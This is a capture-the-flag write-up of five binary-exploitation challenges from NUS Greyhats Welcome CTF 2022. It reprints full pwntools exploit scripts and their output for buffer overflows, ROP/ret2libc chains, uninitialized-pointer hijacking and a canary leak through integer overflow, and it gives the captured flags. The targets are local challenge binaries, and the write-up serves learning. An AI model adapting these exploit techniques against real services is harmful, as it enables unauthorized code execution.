Introduction

From 20th to 21th Weidu and I attended NUS Greyhats Welcome CTF 2022 and finally got the 16th place. Regardless of the fact that we failed to be in top 10, I want to write down this writeup to summarize the game. Anyway, I learn some ideas and skills from it. The challenges and solutions have been released in the official GitHub repository.

The flag format is greyhats{...}. You need to use Docker to deploy some of PWN and Web challenges and this post will not detail how to setup the environment. For PWN, you could also run challenge binaries as remote services utilizing nc or ncat, e.g.:

ncat -klvnp 5555 -c ./pwn-challenge.bin

I exploited 3 of 5 PWN challenges during the competition. Actually, the last 2 unsolved challenges are not so hard in terms of skills or technique, which are clever in design.

P.S. Because of the breakdown of my virtual machine, my own ExPs for PWN were lost, and I will refer to the official solutions.

timesvc (Overwrite Key Data Structure)

This challenge is very easy that we only need to overwrite the command variable to something like /bin/sh and wait for the shell. For me, I learnt the usage of flat() function within Pwntools from the official solution, which is elegant and convenient:

from pwn import *

if 'REMOTE' in args:
    p = remote("localhost", 8051)
else:
    p = process("dist/timesvc.bin")

p.sendlineafter("name?", flat({ 80: "/bin/sh" }))
p.interactive()

With flat(), you could just say that you want "/bin/sh" at 80 offset, without caring about other data and flat() will help to deal with the rest.

The whole exploit process:

[+] Starting local process 'dist/timesvc.bin': pid 24317
[*] Switching to interactive mode

Hi, aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa/bin/sh, the current time is: $ cat flag.txt
greyhats{t1m3_f0r_sh3l1_weee3ee_as812ks}$

Hence, the flag is greyhats{t1m3_f0r_sh3l1_weee3ee_as812ks}.

echo (Overwrite Return Address)

This challenge is very easy as well. The only thing we need to do is to overwrite the return address with the address of win function.

Still, the official solution is elegant so I post it here:

from pwn import *

if 'REMOTE' in args:
    p = remote("localhost", 8050)
else:
    p = process("dist/echo.bin")

e = ELF("dist/echo.bin")
p.sendlineafter("> ", flat({ 80 + 8: p64(e.symbols['win'] + 5) }))
p.sendlineafter("> ", "q")
p.interactive()

The whole exploit process:

[+] Starting local process 'dist/echo.bin': pid 24535
[*] '/home/rambo/experiments/nus-ctf/welcome-ctf-2022-public/pwn/echo/dist/echo.bin'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
$ cat flag.txt
greyhats{ech0_aft3r_m3_aH_jkplsno_455a214}$

Hence, the flag is greyhats{ech0_aft3r_m3_aH_jkplsno_455a214}.

impossible (ROP + Libc Leak)

This challenge is similar to the kidrop challenge in NUS Greyhats Welcome CTF 2021. Therefore, I just pick my writeup for kidrop here:

Anyway, NX is still enabled so it’s hard to execute shellcode on the stack. There are no system function and sh string in the kidrop binary, so we need to return to libc. Considering ASLR, we need firstly leak some funciton’s address and calculate addresses of system function and shell string. In this challenge, we hijack the control flow with ROP chain to utilize puts to print the address of the real address of puts within GOT, and then calculate other addresses in the given libc. Then, we need to return to the main function again to use another ROP chain to spawn shell.

The official solution is elegant so I post it here:

from pwn import *

if 'REMOTE' in args:
    p = remote("localhost", 8075)
else:
    p = process("./impossible.bin")

context.arch = 'amd64'
e = ELF("./impossible.bin")
libc = ELF("./libc-2.31.so")

r1 = ROP(e)
r1.read_uint(e.got['puts'])
rop1 = r1.chain()

p.sendlineafter("a >> \n", flat({ 0x28: rop1 }));

puts = u64(p.recvn(6).ljust(8, b"\0"))
libc.address = puts - libc.symbols['puts']
success(f"{ hex(libc.address) = }")

r2 = ROP(libc)
# r2.raw(r2.find_gadget(['ret']))
r2.system(next(libc.search(b"/bin/sh")))
rop2 = r2.chain()

p.sendline(flat({ 0x28: rop2 }))
p.interactive()

r1.read_uint and r2.system(next(libc.search(b"/bin/sh"))) are convenient and clear, so I will try to utilize them next time.

The whole exploit process:

[+] Starting local process './impossible.bin': pid 25762
[*] '/home/rambo/experiments/nus-ctf/welcome-ctf-2022-public/pwn/impossible/dist/impossible.bin'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
[*] '/home/rambo/experiments/nus-ctf/welcome-ctf-2022-public/pwn/impossible/dist/libc-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loading gadgets for '/home/rambo/experiments/nus-ctf/welcome-ctf-2022-public/pwn/impossible/dist/impossible.bin'
[*] Loading gadgets for '/home/rambo/experiments/nus-ctf/welcome-ctf-2022-public/pwn/impossible/dist/libc-2.31.so'
[*] Switching to interactive mode

$ cat ../flag.txt
greyhats{4dDl3d_189df1}

Hence, the flag is greyhats{4dDl3d_189df1}.

unreachable (Hijack Uninitialized Variables, unsolved)

This challenge is interesting. I mean, I did not come across such a scenario before, but it is really practical. When I was an undergraduate, I just learnt that the value of an uninitialized variable would be unexpected, which could cause the program runs into trouble, while having few things to do with security. This challenge shows me that uninitialization is sometimes a big security issue :)

From checksec we know that both canary and NX are enabled. What’s worse, there is no obvious overflow. There is an unreachable function which will execute system('/bin/sh'), so if we could somehow hijack the control flow to this function, we will win. We notice that there is an uninitialized function pointer opfn op within the calc function. What’s more, if our input is not in the range from 1 to 7, this pointer would not be initialized any more.

Is it possible to initialize this pointer to the value we want, let’s say, the address of unreachable function, in some way? Certainly! The stack does not do memset itself, so if we put the address of unreachable onto the stack before the call of calc, it would not be modified and would exactly become the value of the function pointer to be invoked later!

In this way, the exploitation is very simple. The final exploit script is:

from pwn import *

if 'REMOTE' in args:
    p = remote("localhost", 8092)
else:
    p = process("dist/unreachable.bin")

p.sendlineafter("opt", flat({0: "1\n", 0x10: p64(0x40125b)}))
p.sendlineafter("calc", "8")
p.sendlineafter("a", "0")
p.sendlineafter("b", "0")

p.interactive()

The whole exploit process:

[+] Starting local process 'dist/unreachable.bin': pid 26184
[*] Switching to interactive mode
 >>
$ cat flag.txt
greyhats{uN1nit_p0w4_as12kla}

Hence, the flag is greyhats{uN1nit_p0w4_as12kla}.

checksum (Canary Leak + ELF Leak, unsolved)

This challenge may be the most difficult one in the competition. Actually, I achieved downward reading and upward writing capabilities. The former one could used to leak the ELF base address and the latter one could be used to overwrite. Therefore, the goal is clear: somehow manage to overwrite the return address with the address of win function. However, upward writing will fail because of the canary protection. It would be nice if we can leak the value of canary with the reading capability, but it seems upward reading is limited to index 15.

The key is integer overflow, sophisticated to some extent. Well, we notice that the limitation judgement is signed comparison:

.text:00000000000013A1                 mov     rax, [rbp-0A0h]
.text:00000000000013A8                 cmp     rax, 0Fh

And the indexing process is:

.text:00000000000013B8                 mov     rax, [rbp-0A0h]
.text:00000000000013BF                 mov     rax, [rbp+rax*8-90h]

If we provide a negative number that could bypass the limitation, and *8 multiplication operation makes it overflow, we could actually read upwards and leak the canary!

In addition, the official solution does not utilize the win function, but ret2libc method. The final exploit script is:

from pwn import *

if 'REMOTE' in args:
    p = remote("localhost", 872)
else:
    p = process("./checksum.bin")

context.arch = 'amd64'

bin = ELF("./checksum.bin")
libc = ELF("./libc-2.31.so")

def read_at(idx):
    p.sendlineafter("opt", "1")
    p.sendlineafter("idx", str(idx))
    p.recvuntil("<< ")
    n = int(p.recvline()[:-1])
    if n < 0: # get the positive number
        n = (1 << 64) + n
    return n

# 2-complements a number
def fmt_num(n):
    import struct
    return struct.unpack("q", p64(n))[0]

# history[12] has a leak to an address near libc
libc.address = read_at(12) - 0x32e8 - 2023424

# history[17] has the stack canary
# However, we have a check: history_idx < 0x10.
# But the check is a signed comparison, so we can abuse
# that to give a negative number that will integer overflow
# when doing history[read_idx].

# After all, history[read_idx] = *(history + sizeof(history[0]) * read_idx)
canary = read_at(17 - (1 << 63)) # 17 with the sign bit = 1

# ROP, ret2libc
r = ROP(libc)
r.raw(r.find_gadget(['ret'])) # for alignment (movaps in system)
r.system(next(libc.search(b"/bin/sh")))
chain = r.chain()

# history is at rbp-0x90
# canary is at  rbp-0x8

for i in range(17):
    p.sendlineafter("opt", "2")
    p.sendlineafter("x", str(0))

p.sendlineafter("opt", "2")
p.sendlineafter("x", str(fmt_num(canary)))

p.sendlineafter("opt", "2")
p.sendlineafter("x", str(0)) # saved rbp

# return address

# here we just copy-paste our rop chain in
for b in range(len(chain)//8):
    p.sendlineafter("opt", "2")
    p.sendlineafter("x", str(fmt_num(u64(chain[8*b:][:8]))))

# force the return from the loop
p.sendlineafter("opt", "2")
p.sendlineafter("x", str(1337))

p.interactive()

The whole exploit process:

[+] Starting local process './checksum.bin': pid 26648
[*] '/home/rambo/experiments/nus-ctf/welcome-ctf-2022-public/pwn/checksum/dist/checksum.bin'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/rambo/experiments/nus-ctf/welcome-ctf-2022-public/pwn/checksum/dist/libc-2.31.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 196 cached gadgets for './libc-2.31.so'
[*] Switching to interactive mode
 >> wow! you win!
$ cat flag.txt
greyhats{M4tH_H4rD_pwN_b4ng_B4nG_32afe1}

Hence, the flag is greyhats{M4tH_H4rD_pwN_b4ng_B4nG_32afe1}.

Summary

This competition is so awesome that I learnt a lot and got lots of fun during this game. Let’s keep on exploiting, exploring and hacking :)